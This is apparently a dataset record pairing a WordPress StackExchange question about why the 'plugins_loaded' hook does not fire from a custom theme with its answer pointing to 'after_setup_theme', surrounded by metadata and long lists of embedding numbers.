-0.004894256591796875,
-0.0017938613891601562,
-0.00916290283203125,
0.0014104843139648438,
-0.026702880859375,
0.0703125,
0.0026760101318359375,
-0.0233917236328125,
0.0293121337890625,
-0.0172119140625,
-0.01262664794921875,
0.004119873046875,
-0.036285400390625,
-0.0053558349609375,
-0.036590576171875,
0.036956787109375,
-0.0288848876953125,
0.05487060546875,
-0.01812744140625,
-0.0550537109375,
0.001270294189453125,
-0.0235137939453125,
0.06494140625,
0.017059326171875,
-0.0026721954345703125,
0.035888671875,
0.0238800048828125,
0.0049285888671875,
0.01145172119140625,
0.026275634765625,
-0.0036182403564453125,
0.0345458984375,
0.044586181640625,
0.007793426513671875,
-0.006694793701171875,
0.0070648193359375,
-0.00835418701171875,
0.008453369140625,
-0.0235443115234375,
-0.04217529296875,
0.0117645263671875,
0.0352783203125,
0.0038318634033203125,
-0.005222320556640625,
0.0318603515625,
0.0306396484375,
-0.020477294921875,
0.0009679794311523438,
-0.011749267578125,
0.01071929931640625,
-0.045196533203125,
-0.0013322830200195312,
0.003902435302734375,
-0.0201568603515625,
0.015716552734375,
0.0203857421875,
0.01209259033203125,
-0.01004791259765625,
0.006908416748046875,
0.061492919921875,
0.057647705078125,
0.0294647216796875,
0.0187225341796875,
0.00360107421875,
-0.01357269287109375,
0.016357421875,
-0.039825439453125,
-0.0185546875,
0.01995849609375,
0.00982666015625,
0.029083251953125,
-0.01399993896484375,
-0.0227508544921875,
0.01461029052734375,
-0.056640625,
-0.0362548828125,
0.0279541015625,
0.005084991455078125,
-0.0255584716796875,
-0.0206146240234375,
0.003143310546875,
0.02838134765625,
0.01364898681640625,
-0.0034332275390625,
0.04736328125,
-0.002933502197265625,
0.033233642578125,
-0.0026950836181640625,
-0.0235443115234375,
0.01422882080078125,
0.0233306884765625,
0.01094818115234375,
0.00501251220703125,
-0.0204925537109375,
-0.050689697265625,
-0.045135498046875,
-0.0009350776672363281,
0.00849151611328125,
0.0565185546875,
-0.021881103515625,
0.0103759765625,
-0.023834228515625,
-0.005489349365234375,
-0.06927490234375,
0.0251922607421875,
-0.0103302001953125,
-0.0184478759765625,
0.0243377685546875,
-0.043731689453125,
-0.036163330078125,
-0.0258636474609375,
-0.0058135986328125,
-0.007503509521484375,
0.007541656494140625,
0.0119476318359375,
-0.0075531005859375,
0.02667236328125,
-0.016632080078125,
-0.025665283203125,
-0.0290679931640625,
0.02191162109375,
0.0328369140625,
0.06231689453125,
0.01529693603515625,
-0.0078887939453125,
0.034332275390625,
0.034423828125,
0.026031494140625,
-0.025726318359375,
-0.0251312255859375,
-0.032470703125,
-0.0030918121337890625,
-0.0172119140625,
-0.00640106201171875,
0.0153350830078125,
-0.002056121826171875,
-0.016876220703125,
0.0191497802734375,
-0.01262664794921875,
0.04412841796875,
-0.0108489990234375,
-0.016357421875,
-0.00487518310546875,
-0.0251312255859375,
-0.01287078857421875,
0.029083251953125,
0.023345947265625,
-0.047271728515625,
0.038330078125,
-0.00601959228515625,
0.01421356201171875,
0.00792694091796875,
-0.059326171875,
0.01148223876953125,
0.04681396484375,
-0.0426025390625,
0.03436279296875,
0.049560546875,
0.01300048828125,
0.03857421875,
0.005771636962890625,
0.0142364501953125,
0.01055908203125,
0.0148468017578125,
0.0097808837890625,
-0.04901123046875,
0.0638427734375,
0.00582122802734375,
-0.015380859375,
0.07171630859375,
-0.019775390625,
0.035064697265625,
0.026519775390625,
0.03253173828125,
-0.0352783203125,
0.0119171142578125,
-0.016876220703125,
-0.024169921875,
0.05364990234375,
-0.0225982666015625,
0.03314208984375,
0.007648468017578125,
0.038421630859375,
0.004199981689453125,
-0.0247039794921875,
0.0200653076171875,
-0.01708984375,
-0.0124359130859375,
0.00826263427734375,
0.00681304931640625,
-0.0004458427429199219,
-0.01512908935546875,
-0.03662109375,
-0.000009894371032714844,
-0.032501220703125,
0.03973388671875,
0.0291595458984375,
-0.030792236328125,
-0.0160980224609375,
-0.0191497802734375,
-0.002429962158203125,
-0.033233642578125,
-0.0382080078125,
0.04791259765625,
0.01047515869140625,
0.032073974609375,
0.0211181640625,
0.006317138671875,
0.0137481689453125,
-0.0213165283203125,
-0.023834228515625,
-0.0021305084228515625,
-0.0277862548828125,
0.02813720703125,
0.00958251953125,
-0.06585693359375,
0.0187225341796875,
-0.018951416015625,
-0.01189422607421875,
0.01007080078125,
0.01415252685546875,
0.0626220703125,
-0.0207977294921875,
-0.0294189453125,
0.03314208984375,
-0.0012502670288085938,
-0.0204620361328125,
-0.013275146484375,
0.0028820037841796875,
-0.07611083984375,
-0.035491943359375,
-0.012786865234375,
-0.060760498046875,
0.00991058349609375,
0.00566864013671875,
-0.0697021484375,
0.110107421875,
-0.03607177734375,
0.048065185546875,
-0.0013914108276367188,
0.03076171875,
-0.00753021240234375,
0.01532745361328125,
-0.0157012939453125,
-0.0144195556640625,
-0.047393798828125,
0.0006999969482421875,
-0.047271728515625,
0.0120849609375,
-0.030426025390625,
0.022491455078125,
0.08575439453125,
0.0275726318359375,
-0.038360595703125,
-0.00804901123046875,
0.0307159423828125,
0.037261962890625,
-0.00629425048828125,
0.043487548828125,
0.0102386474609375,
-0.0035800933837890625,
0.04833984375,
-0.00431060791015625,
0.040557861328125,
-0.0098724365234375,
-0.00081634521484375,
0.029449462890625,
0.00673675537109375,
0.01397705078125,
-0.01503753662109375,
-0.002964019775390625,
-0.019012451171875,
-0.00444793701171875,
0.0253753662109375,
-0.0546875,
0.0019359588623046875,
0.06982421875,
0.020538330078125,
0.038421630859375,
0.0033283233642578125,
-0.028411865234375,
0.0289764404296875,
-0.0204010009765625,
-0.0021724700927734375,
0.0069580078125,
0.0034389495849609375,
-0.033905029296875,
0.026214599609375,
0.01035308837890625,
0.0280914306640625,
-0.0163421630859375,
0.010711669921875,
-0.0183258056640625,
0.009185791015625,
-0.06256103515625,
-0.0107574462890625,
0.0286407470703125,
0.0214996337890625,
-0.0169677734375,
-0.016754150390625,
0.00690460205078125,
-0.0026721954345703125,
0.0029163360595703125,
-0.004673004150390625,
0.0229339599609375,
-0.0185546875,
-0.0063018798828125,
-0.03839111328125,
0.03924560546875,
0.03094482421875,
0.0126953125,
-0.010528564453125,
0.0253143310546875,
-0.056365966796875,
0.0209808349609375,
-0.029388427734375,
-0.005886077880859375,
-0.0025081634521484375,
0.03857421875,
0.03369140625,
0.01508331298828125,
0.0153350830078125,
-0.0122528076171875,
-0.027435302734375,
0.03326416015625,
-0.0005364418029785156,
0.033843994140625,
-0.021392822265625,
-0.00634765625,
0.005260467529296875,
0.017486572265625,
0.036163330078125,
0.05126953125,
0.04547119140625,
0.02252197265625,
0.004207611083984375,
0.033111572265625,
0.0389404296875,
-0.017791748046875,
-0.01074981689453125,
-0.02056884765625,
0.0379638671875,
0.036102294921875,
-0.000698089599609375,
0.007335662841796875,
0.01446533203125,
0.0457763671875,
-0.0338134765625,
0.03179931640625,
-0.007305145263671875,
-0.037567138671875,
0.030364990234375,
-0.01551055908203125,
0.10791015625,
0.003170013427734375,
-0.06219482421875,
-0.0020427703857421875,
-0.0277252197265625,
-0.07110595703125,
0.0244903564453125,
0.04315185546875,
-0.055694580078125,
0.046295166015625,
-0.005458831787109375,
-0.0174560546875,
0.029205322265625,
-0.01169586181640625,
0.00537872314453125,
0.0221405029296875,
0.01995849609375,
0.00431060791015625,
-0.016265869140625,
0.01163482666015625,
0.005870819091796875,
0.01291656494140625,
0.0294647216796875,
0.0281829833984375,
-0.0078582763671875,
0.0296478271484375,
0.0139617919921875,
-0.0160980224609375,
0.02099609375,
0.01061248779296875,
-0.0015697479248046875,
0.01479339599609375,
0.00189971923828125,
-0.01739501953125,
0.0221710205078125,
0.03448486328125,
0.01459503173828125,
-0.0208740234375,
-0.019805908203125,
-0.01031494140625,
0.006702423095703125,
0.02392578125,
0.032806396484375,
-0.01959228515625,
-0.045684814453125,
-0.0755615234375,
-0.0148468017578125,
0.0399169921875,
0.015594482421875,
-0.04150390625,
0.0189971923828125,
-0.0094757080078125,
-0.0028285980224609375,
0.036834716796875,
-0.021484375,
0.05633544921875,
0.03515625,
-0.051849365234375,
-0.051849365234375,
-0.0115966796875,
-0.004886627197265625,
-0.01267242431640625,
0.0142822265625,
0.03594970703125,
-0.0085601806640625,
-0.03424072265625,
0.009368896484375,
0.0247955322265625,
0.0122528076171875,
-0.034637451171875,
-0.00798797607421875,
0.035919189453125,
-0.013092041015625,
-0.007625579833984375,
-0.04638671875,
-0.0238800048828125,
-0.078369140625,
0.006427764892578125,
0.04498291015625,
-0.048553466796875,
0.004520416259765625,
-0.08221435546875,
0.048980712890625,
0.0160369873046875,
0.0161895751953125,
-0.10986328125,
0.0814208984375,
-0.032867431640625,
0.054962158203125,
-0.029052734375,
0.0102996826171875,
-0.015716552734375,
0.009552001953125,
-0.03253173828125,
-0.070068359375,
-0.049896240234375,
0.05084228515625,
-0.048614501953125,
0.029205322265625,
0.0189666748046875,
-0.020355224609375,
0.00197601318359375,
0.032928466796875,
0.0194854736328125,
0.08880615234375,
0.02362060546875,
-0.0255584716796875,
-0.01027679443359375,
-0.0145721435546875,
-0.00536346435546875,
-0.034027099609375,
0.015899658203125,
-0.08966064453125,
-0.031219482421875,
-0.0242919921875,
0.0209197998046875,
0.02276611328125,
-0.04278564453125,
-0.10113525390625,
-0.002605438232421875,
-0.01275634765625,
-0.04730224609375,
-0.0675048828125,
0.0374755859375,
-0.0025081634521484375,
0.01055908203125,
-0.005451202392578125,
-0.043609619140625,
0.0036869049072265625,
0.0177154541015625,
-0.00508880615234375,
-0.00414276123046875,
0.00959014892578125,
0.0021877288818359375,
-0.05810546875,
-0.01229095458984375,
-0.01165008544921875,
-0.01219940185546875,
0.03131103515625,
-0.032073974609375,
0.04132080078125,
0.018890380859375,
-0.0528564453125,
-0.025787353515625,
-0.01558685302734375,
-0.0118255615234375,
-0.048095703125,
-0.049896240234375,
-0.00646209716796875,
0.00261688232421875,
0.094970703125,
0.050048828125,
0.00856781005859375,
-0.04669189453125,
0.037353515625,
-0.0039215087890625,
-0.007381439208984375,
-0.007266998291015625,
0.00188446044921875,
-0.0276336669921875,
-0.017791748046875,
0.00577545166015625,
-0.00469970703125,
-0.034515380859375,
0.0288238525390625,
-0.043060302734375,
-0.015594482421875,
0.007476806640625,
0.002262115478515625,
-0.061004638671875,
0.033111572265625,
0.11077880859375,
-0.06329345703125,
0.038787841796875,
0.00701904296875,
-0.00868988037109375,
0.08880615234375,
0.00496673583984375,
-0.0185546875,
0.03924560546875,
-0.049560546875,
0.0208587646484375,
-0.00914764404296875,
-0.004596710205078125,
-0.039154052734375,
0.0190887451171875,
-0.0004200935363769531,
0.0183258056640625,
-0.023895263671875,
0.015777587890625,
0.008636474609375,
0.0186767578125,
-0.0175933837890625,
0.0574951171875,
-0.02667236328125,
-0.007457733154296875,
-0.0165252685546875,
0.00928497314453125,
-0.00572967529296875,
0.0211181640625,
0.03863525390625,
-0.02886962890625,
0.018768310546875,
0.00962066650390625,
-0.0254974365234375,
-0.042205810546875,
0.008148193359375,
0.0092315673828125,
-0.023651123046875,
0.0163116455078125
] |
87b5fb0f2a4db283a6473ce70a2b920419692667
|
Wordpress Stackexchange
Q: Why is "plugins_loaded" not called/fired? I am trying call load_plugin_textdomain once the plugins are loaded, however this does not happen. I do have a plugin activated, so shouldn't this fire?
add_action("plugins_loaded", "test_override");
function init_localization()
{
echo "init_localization<br>";
load_plugin_textdomain
(
TEXT_DOMAIN,
false,
LANGUAGE_DIR
);
}
function test_override()
{
echo "text_override<br>";
}
In another context, when calling add_action("init", "init_custom_post_types"), it works fine.
It may be of interest to know that I am working on a custom theme.
Thanks if you can provide any guidance, or ask if you need to know anything that could help you help me.
A: Have a look at the wp-settings.php file. You’ll see that the plugins_loaded action is triggered before the theme is loaded. The first action available for themes to hook into is the after_setup_theme action.
|
Q: Why is "plugins_loaded" not called/fired? I am trying call load_plugin_textdomain once the plugins are loaded, however this does not happen. I do have a plugin activated, so shouldn't this fire?
add_action("plugins_loaded", "test_override");
function init_localization()
{
echo "init_localization<br>";
load_plugin_textdomain
(
TEXT_DOMAIN,
false,
LANGUAGE_DIR
);
}
function test_override()
{
echo "text_override<br>";
}
In another context, when calling add_action("init", "init_custom_post_types"), it works fine.
It may be of interest to know that I am working on a custom theme.
Thanks if you can provide any guidance, or ask if you need to know anything that could help you help me.
A: Have a look at the wp-settings.php file. You’ll see that the plugins_loaded action is triggered before the theme is loaded. The first action available for themes to hook into is the after_setup_theme action.
|
wordpress
|
{
"language": "en",
"length": 131,
"provenance": "stackexchange_00019.jsonl.gz:436587",
"question_score": "7",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112593"
}
|
[
0.054840087890625,
-0.011932373046875,
0.0234375,
-0.041351318359375,
0.0033931732177734375,
0.0062255859375,
0.022979736328125,
-0.0180816650390625,
-0.04949951171875,
0.0179901123046875,
-0.0165863037109375,
0.037628173828125,
-0.029083251953125,
-0.01186370849609375,
0.017791748046875,
-0.047271728515625,
0.0247650146484375,
-0.012054443359375,
0.027252197265625,
-0.00707244873046875,
0.0231781005859375,
0.0220947265625,
0.007755279541015625,
0.04486083984375,
0.053192138671875,
-0.0259246826171875,
0.05572509765625,
-0.00740814208984375,
0.023223876953125,
-0.0126495361328125,
0.03466796875,
-0.0231475830078125,
0.0000018477439880371094,
0.0284423828125,
-0.002475738525390625,
-0.0119476318359375,
0.01500701904296875,
0.0022125244140625,
0.0162811279296875,
0.0248870849609375,
0.060821533203125,
-0.0266876220703125,
0.00539398193359375,
0.06787109375,
0.006977081298828125,
-0.052703857421875,
0.0732421875,
-0.04937744140625,
0.010406494140625,
-0.048858642578125,
0.010345458984375,
0.0115509033203125,
0.036651611328125,
-0.03875732421875,
-0.0114593505859375,
0.00859832763671875,
-0.092529296875,
0.08453369140625,
0.0203399658203125,
0.06036376953125,
-0.0096435546875,
-0.002544403076171875,
-0.0084991455078125,
-0.038665771484375,
-0.00798797607421875,
0.0226287841796875,
-0.00971221923828125,
-0.006465911865234375,
-0.0198211669921875,
0.0205841064453125,
0.0230255126953125,
-0.04937744140625,
-0.00820159912109375,
0.006000518798828125,
-0.037506103515625,
-0.0147857666015625,
-0.0022335052490234375,
-0.043792724609375,
0.039764404296875,
0.001373291015625,
0.0224609375,
-0.01076507568359375,
0.008148193359375,
0.00986480712890625,
-0.0006709098815917969,
0.03619384765625,
-0.0099945068359375,
-0.045135498046875,
-0.0231781005859375,
-0.025909423828125,
-0.0204010009765625,
0.004970550537109375,
-0.0185394287109375,
-0.02618408203125,
-0.02532958984375,
-0.0108184814453125,
0.0254669189453125,
0.03759765625,
-0.00951385498046875,
-0.007415771484375,
-0.01367950439453125,
-0.037933349609375,
0.0210723876953125,
-0.0230865478515625,
0.008056640625,
0.0384521484375,
-0.01122283935546875,
0.0245819091796875,
0.03411865234375,
0.0204620361328125,
0.007312774658203125,
-0.00290679931640625,
0.0209197998046875,
0.005191802978515625,
-0.011688232421875,
-0.0628662109375,
-0.042633056640625,
0.038726806640625,
0.0034465789794921875,
-0.01171875,
0.03662109375,
0.0260772705078125,
-0.0194091796875,
0.012481689453125,
-0.0189208984375,
-0.033203125,
-0.027618408203125,
-0.011383056640625,
0.028411865234375,
0.002849578857421875,
0.00035953521728515625,
0.01136016845703125,
-0.02276611328125,
-0.01129913330078125,
-0.01151275634765625,
0.0022716522216796875,
0.01010894775390625,
0.0108642578125,
-0.00048232078552246094,
-0.006500244140625,
0.01468658447265625,
-0.01837158203125,
-0.0266876220703125,
0.01010894775390625,
-0.00814056396484375,
0.00107574462890625,
-0.0028839111328125,
0.0224456787109375,
0.003681182861328125,
-0.036865234375,
0.02093505859375,
-0.01142120361328125,
0.03155517578125,
0.01329803466796875,
0.00513458251953125,
-0.000052809715270996094,
0.0584716796875,
-0.029571533203125,
-0.03759765625,
-0.046966552734375,
-0.0127410888671875,
-0.0218353271484375,
-0.070068359375,
-0.042938232421875,
-0.047210693359375,
0.004467010498046875,
0.05047607421875,
0.0245208740234375,
0.0272674560546875,
0.01316070556640625,
0.03802490234375,
0.035491943359375,
0.0518798828125,
0.02886962890625,
0.01316070556640625,
-0.0020847320556640625,
0.0120697021484375,
0.027679443359375,
0.0201873779296875,
-0.006561279296875,
-0.0265960693359375,
-0.01837158203125,
0.09027099609375,
-0.037353515625,
-0.0308685302734375,
0.0008382797241210938,
0.0164794921875,
0.04266357421875,
0.01328277587890625,
0.027099609375,
-0.006145477294921875,
0.019989013671875,
-0.038818359375,
-0.0002803802490234375,
-0.0082550048828125,
-0.00612640380859375,
0.0104827880859375,
0.0165863037109375,
0.0029964447021484375,
0.004192352294921875,
0.02728271484375,
-0.0309295654296875,
0.0177459716796875,
-0.00650787353515625,
-0.0633544921875,
-0.0203704833984375,
-0.015716552734375,
0.0224456787109375,
0.0513916015625,
-0.0135040283203125,
-0.016082763671875,
-0.0145111083984375,
0.0018644332885742188,
-0.05023193359375,
-0.059295654296875,
0.0574951171875,
-0.0254669189453125,
0.050933837890625,
0.00445556640625,
0.005130767822265625,
0.041259765625,
-0.0479736328125,
0.035675048828125,
0.01238250732421875,
-0.0034122467041015625,
0.0235595703125,
-0.026275634765625,
0.002918243408203125,
0.0209503173828125,
0.01096343994140625,
0.0279693603515625,
0.01605224609375,
0.0219268798828125,
0.04193115234375,
-0.0269775390625,
-0.02392578125,
-0.0183868408203125,
-0.0572509765625,
0.023406982421875,
0.051239013671875,
0.026031494140625,
0.041168212890625,
-0.0106048583984375,
0.01413726806640625,
0.01172637939453125,
-0.0374755859375,
0.02392578125,
-0.007045745849609375,
0.046417236328125,
0.06549072265625,
-0.0179595947265625,
-0.01358795166015625,
0.0173187255859375,
-0.055389404296875,
0.031524658203125,
0.042022705078125,
-0.032684326171875,
-0.0904541015625,
0.0236053466796875,
-0.0035419464111328125,
0.034881591796875,
-0.0220794677734375,
-0.035186767578125,
0.0059051513671875,
0.028778076171875,
-0.003810882568359375,
-0.021636962890625,
-0.0161285400390625,
-0.05316162109375,
0.0197296142578125,
0.042694091796875,
-0.037353515625,
-0.0156402587890625,
0.02581787109375,
0.0313720703125,
-0.045013427734375,
-0.03741455078125,
0.00820159912109375,
-0.01357269287109375,
-0.0026683807373046875,
-0.01084136962890625,
-0.017059326171875,
-0.03668212890625,
-0.002788543701171875,
0.02691650390625,
-0.054595947265625,
0.005420684814453125,
0.0318603515625,
0.03570556640625,
0.0251312255859375,
0.0270843505859375,
0.02374267578125,
-0.007843017578125,
0.040863037109375,
0.002590179443359375,
-0.00604248046875,
-0.00498199462890625,
-0.01430511474609375,
0.01568603515625,
-0.0030879974365234375,
0.03253173828125,
0.070556640625,
0.0280303955078125,
-0.0227813720703125,
0.0092620849609375,
-0.0265655517578125,
0.040802001953125,
0.0019254684448242188,
-0.008056640625,
-0.0303192138671875,
-0.044464111328125,
-0.016998291015625,
0.029296875,
0.074462890625,
-0.0294952392578125,
-0.0555419921875,
-0.01062774658203125,
0.027557373046875,
-0.044769287109375,
-0.044952392578125,
0.01355743408203125,
-0.0736083984375,
0.055694580078125,
-0.03680419921875,
-0.0174102783203125,
-0.0369873046875,
-0.0196380615234375,
0.01480865478515625,
-0.020111083984375,
-0.046630859375,
-0.02423095703125,
-0.0709228515625,
-0.0382080078125,
-0.01056671142578125,
0.014892578125,
-0.0006494522094726562,
0.015838623046875,
0.023101806640625,
-0.00656890869140625,
-0.051788330078125,
-0.0000769495964050293,
0.004482269287109375,
-0.01340484619140625,
0.0170745849609375,
0.005275726318359375,
0.0164794921875,
0.003204345703125,
0.007167816162109375,
-0.0228118896484375,
0.037384033203125,
-0.032379150390625,
-0.032073974609375,
0.0161590576171875,
-0.0208740234375,
0.0185699462890625,
0.02239990234375,
-0.01043701171875,
-0.0216522216796875,
-0.0005440711975097656,
-0.07098388671875,
0.0113525390625,
-0.006591796875,
-0.034515380859375,
0.005718231201171875,
0.017364501953125,
-0.02764892578125,
0.01006317138671875,
-0.0088653564453125,
-0.0228118896484375,
-0.0034885406494140625,
0.019378662109375,
-0.01309967041015625,
-0.006378173828125,
-0.0221710205078125,
-0.03973388671875,
-0.004779815673828125,
0.034332275390625,
-0.0171661376953125,
-0.03851318359375,
-0.0142669677734375,
-0.006587982177734375,
-0.032928466796875,
0.004932403564453125,
-0.06683349609375,
-0.005035400390625,
0.040740966796875,
0.0003075599670410156,
0.0005750656127929688,
-0.0076904296875,
-0.0232696533203125,
-0.00696563720703125,
0.029205322265625,
-0.046295166015625,
0.018035888671875,
0.03546142578125,
0.023345947265625,
-0.06451416015625,
-0.053009033203125,
-0.0966796875,
0.00238037109375,
-0.0577392578125,
0.0280914306640625,
0.007740020751953125,
-0.01336669921875,
-0.02557373046875,
0.0123291015625,
-0.042388916015625,
-0.02850341796875,
0.0171966552734375,
-0.037750244140625,
0.00138092041015625,
0.010162353515625,
-0.0126190185546875,
-0.022216796875,
-0.0034198760986328125,
-0.034454345703125,
-0.102294921875,
-0.0005655288696289062,
-0.06048583984375,
0.0687255859375,
0.0460205078125,
-0.035736083984375,
-0.025115966796875,
0.03131103515625,
0.0296783447265625,
0.041259765625,
0.024200439453125,
-0.008209228515625,
0.0213623046875,
-0.00923919677734375,
0.035980224609375,
-0.0257415771484375,
0.0079498291015625,
0.0311279296875,
-0.01413726806640625,
0.0364990234375,
-0.0258331298828125,
-0.0284881591796875,
-0.016845703125,
-0.040557861328125,
-0.0127410888671875,
-0.01201629638671875,
-0.042572021484375,
-0.035430908203125,
0.004741668701171875,
-0.034423828125,
0.00934600830078125,
-0.0144195556640625,
0.0227203369140625,
-0.05792236328125,
0.0110626220703125,
0.0018129348754882812,
0.09442138671875,
0.0290374755859375,
0.0038051605224609375,
0.0245361328125,
0.00875091552734375,
0.03131103515625,
0.02099609375,
-0.00319671630859375,
-0.0053863525390625,
-0.03216552734375,
0.0164031982421875,
0.0218505859375,
0.02398681640625,
-0.01861572265625,
0.06829833984375,
0.0013103485107421875,
-0.0099334716796875,
0.02362060546875,
0.0046539306640625,
-0.0379638671875,
0.04296875,
-0.016876220703125,
-0.039276123046875,
-0.00012242794036865234,
0.017181396484375,
-0.0692138671875,
0.0738525390625,
-0.00205230712890625,
-0.0140380859375,
0.006011962890625,
0.044830322265625,
0.01399993896484375,
0.01033782958984375,
0.0034160614013671875,
-0.0021152496337890625,
-0.012054443359375,
0.0146484375,
0.0277862548828125,
0.00531005859375,
-0.0125579833984375,
0.00742340087890625,
0.08087158203125,
0.00246429443359375,
0.0281982421875,
-0.00894927978515625,
0.07098388671875,
-0.00753021240234375,
-0.046539306640625,
-0.025146484375,
-0.01549530029296875,
0.0242462158203125,
0.0228424072265625,
0.0161895751953125,
0.0190277099609375,
0.02398681640625,
0.00738525390625,
0.0345458984375,
0.060028076171875,
0.01161956787109375,
-0.00893402099609375,
0.00023043155670166016,
-0.004756927490234375,
-0.006671905517578125,
-0.026397705078125,
0.05133056640625,
-0.0311737060546875,
0.024627685546875,
-0.0010776519775390625,
0.0067596435546875,
-0.0220947265625,
0.0677490234375,
0.0228118896484375,
-0.053955078125,
0.01055908203125,
0.035888671875,
0.008880615234375,
-0.0474853515625,
0.01125335693359375,
0.01178741455078125,
0.048248291015625,
-0.035125732421875,
-0.050506591796875,
0.031219482421875,
-0.0299530029296875,
-0.0491943359375,
0.07244873046875,
0.024078369140625,
-0.06573486328125,
-0.059722900390625,
0.016448974609375,
0.06768798828125,
0.0129547119140625,
0.0038318634033203125,
0.03594970703125,
0.0197906494140625,
0.02154541015625,
-0.01287078857421875,
-0.01259613037109375,
-0.01424407958984375,
0.004436492919921875,
-0.0236053466796875,
-0.0284881591796875,
0.01055908203125,
-0.0198822021484375,
0.011322021484375,
-0.0198974609375,
-0.0251312255859375,
0.034088134765625,
0.0013685226440429688,
0.034942626953125,
-0.027557373046875,
-0.0239105224609375,
-0.026641845703125,
0.0150909423828125,
0.0194244384765625,
-0.013275146484375,
-0.042388916015625,
0.01483917236328125,
-0.0280609130859375,
-0.003856658935546875,
-0.04779052734375,
-0.050750732421875,
-0.060943603515625,
-0.00946044921875,
0.008514404296875,
0.019287109375,
-0.03143310546875,
-0.04510498046875,
-0.01335906982421875,
0.01177978515625,
0.037841796875,
0.0180206298828125,
-0.01093292236328125,
0.06475830078125,
0.015045166015625,
0.023101806640625,
0.020294189453125,
0.036041259765625,
-0.0217742919921875,
-0.005146026611328125,
-0.0066070556640625,
-0.0167083740234375,
-0.01357269287109375,
0.025665283203125,
-0.01256561279296875,
0.0004017353057861328,
0.051055908203125,
-0.001430511474609375,
0.0189666748046875,
-0.0171661376953125,
-0.0030422210693359375,
-0.02008056640625,
0.0226898193359375,
-0.00930023193359375,
0.00536346435546875,
0.0035419464111328125,
-0.0599365234375,
-0.03326416015625,
0.00809478759765625,
0.0109405517578125,
0.042449951171875,
-0.0287933349609375,
0.006023406982421875,
0.039031982421875,
-0.045654296875,
0.04229736328125,
0.01043701171875,
-0.0002884864807128906,
0.0291290283203125,
0.006443023681640625,
0.0241241455078125,
0.0039825439453125,
0.01275634765625,
-0.003787994384765625,
-0.032745361328125,
0.036529541015625,
0.021240234375,
-0.00909423828125,
0.03778076171875,
-0.019256591796875,
0.0190277099609375,
0.053314208984375,
0.06182861328125,
-0.10980224609375,
0.0186004638671875,
0.02392578125,
0.0168914794921875,
0.0204315185546875,
-0.033233642578125,
0.01125335693359375,
-0.0019512176513671875,
0.0552978515625,
0.0291595458984375,
0.00737762451171875,
0.04559326171875,
0.010955810546875,
-0.0187530517578125,
-0.0008492469787597656,
0.0231781005859375,
0.025360107421875,
0.00389862060546875,
0.0242767333984375,
-0.01419830322265625,
0.00859832763671875,
-0.0189666748046875,
0.008453369140625,
0.027587890625,
-0.0260467529296875,
-0.043609619140625,
0.03125,
-0.01355743408203125,
-0.015899658203125,
0.024871826171875,
-0.0207977294921875,
0.032501220703125,
0.03924560546875,
-0.0200958251953125,
0.0128936767578125,
0.002536773681640625,
0.00449371337890625,
-0.007740020751953125,
-0.04815673828125,
-0.0014295578002929688,
0.07373046875,
-0.04248046875,
0.037994384765625,
0.00569915771484375,
-0.007472991943359375,
0.0010290145874023438,
-0.030914306640625,
0.022125244140625,
-0.02069091796875,
-0.0175628662109375,
0.006481170654296875,
0.01549530029296875,
0.0130157470703125,
-0.0310821533203125,
-0.0038814544677734375,
-0.0218048095703125,
0.027679443359375,
-0.024505615234375,
0.0074310302734375,
-0.01177215576171875,
-0.03985595703125,
-0.084716796875,
0.12054443359375,
0.0096588134765625,
0.046600341796875,
-0.00818634033203125,
0.048675537109375,
-0.027557373046875,
0.0219879150390625,
-0.00775909423828125,
0.06463623046875,
-0.0215301513671875,
0.014892578125,
-0.045867919921875,
0.00493621826171875,
0.004619598388671875,
0.018035888671875,
0.030181884765625,
0.011474609375,
-0.016998291015625,
-0.011932373046875,
0.0234222412109375,
0.03759765625,
-0.00983428955078125,
0.01242828369140625,
0.004688262939453125,
0.0313720703125,
-0.0236053466796875,
-0.021728515625,
0.0234527587890625,
-0.062042236328125,
-0.044952392578125,
0.036865234375,
-0.01153564453125,
-0.0308380126953125,
-0.0077972412109375,
-0.0247039794921875,
-0.01666259765625,
-0.0057525634765625,
-0.00821685791015625,
0.015411376953125,
-0.004428863525390625,
0.01540374755859375,
0.007762908935546875,
0.0225830078125,
0.01503753662109375,
-0.0216522216796875,
0.0333251953125,
-0.0002944469451904297,
-0.0194854736328125,
-0.0104217529296875,
0.0035552978515625,
-0.034912109375,
-0.063720703125,
-0.034576416015625,
-0.0003058910369873047,
-0.0282440185546875,
0.06317138671875,
0.0076141357421875,
0.0278778076171875,
-0.0101165771484375,
0.01140594482421875,
-0.006244659423828125,
0.04595947265625,
-0.033447265625,
-0.070068359375,
0.01326751708984375,
-0.003116607666015625,
-0.0070953369140625,
0.02362060546875,
-0.01287078857421875,
-0.043212890625,
0.039093017578125,
0.007572174072265625,
-0.046722412109375,
-0.0167388916015625,
0.04864501953125,
0.01078033447265625,
0.00940704345703125,
-0.00980377197265625,
-0.06939697265625,
-0.00714874267578125,
0.0194854736328125,
-0.001064300537109375,
0.0173797607421875,
-0.0372314453125,
0.060943603515625,
-0.044586181640625,
0.01427459716796875,
0.0036449432373046875,
-0.00518035888671875,
-0.0216064453125,
0.0093841552734375,
-0.02294921875,
-0.0211181640625,
-0.0239410400390625,
0.040740966796875,
0.07305908203125,
-0.00390625,
0.05035400390625,
0.033294677734375,
-0.019378662109375,
0.0180511474609375,
0.06591796875,
0.0064239501953125,
-0.043670654296875,
-0.006687164306640625,
0.025115966796875,
0.033355712890625,
0.0170745849609375,
0.005352020263671875,
0.032501220703125,
0.0200653076171875,
-0.057342529296875,
0.025421142578125,
-0.011077880859375,
-0.03216552734375,
0.020233154296875,
-0.01284027099609375,
0.060211181640625,
-0.0219268798828125,
-0.04486083984375,
-0.010009765625,
-0.05059814453125,
-0.03900146484375,
0.036712646484375,
0.048919677734375,
0.0161285400390625,
0.0162353515625,
0.0596923828125,
-0.0362548828125,
0.0048675537109375,
0.00998687744140625,
0.021087646484375,
-0.00588226318359375,
0.01153564453125,
0.01318359375,
-0.0054931640625,
0.0015764236450195312,
0.020843505859375,
0.0185089111328125,
0.01233673095703125,
0.041412353515625,
-0.010101318359375,
-0.0029888153076171875,
0.03863525390625,
-0.002643585205078125,
0.0101470947265625,
0.0220489501953125,
-0.0120391845703125,
-0.0309600830078125,
0.0174713134765625,
-0.004032135009765625,
-0.0400390625,
0.03411865234375,
0.005298614501953125,
-0.0011615753173828125,
0.00530242919921875,
-0.005153656005859375,
0.0186920166015625,
0.0153961181640625,
0.053985595703125,
-0.0297393798828125,
-0.06854248046875,
-0.05413818359375,
0.00618743896484375,
0.00620269775390625,
0.0186004638671875,
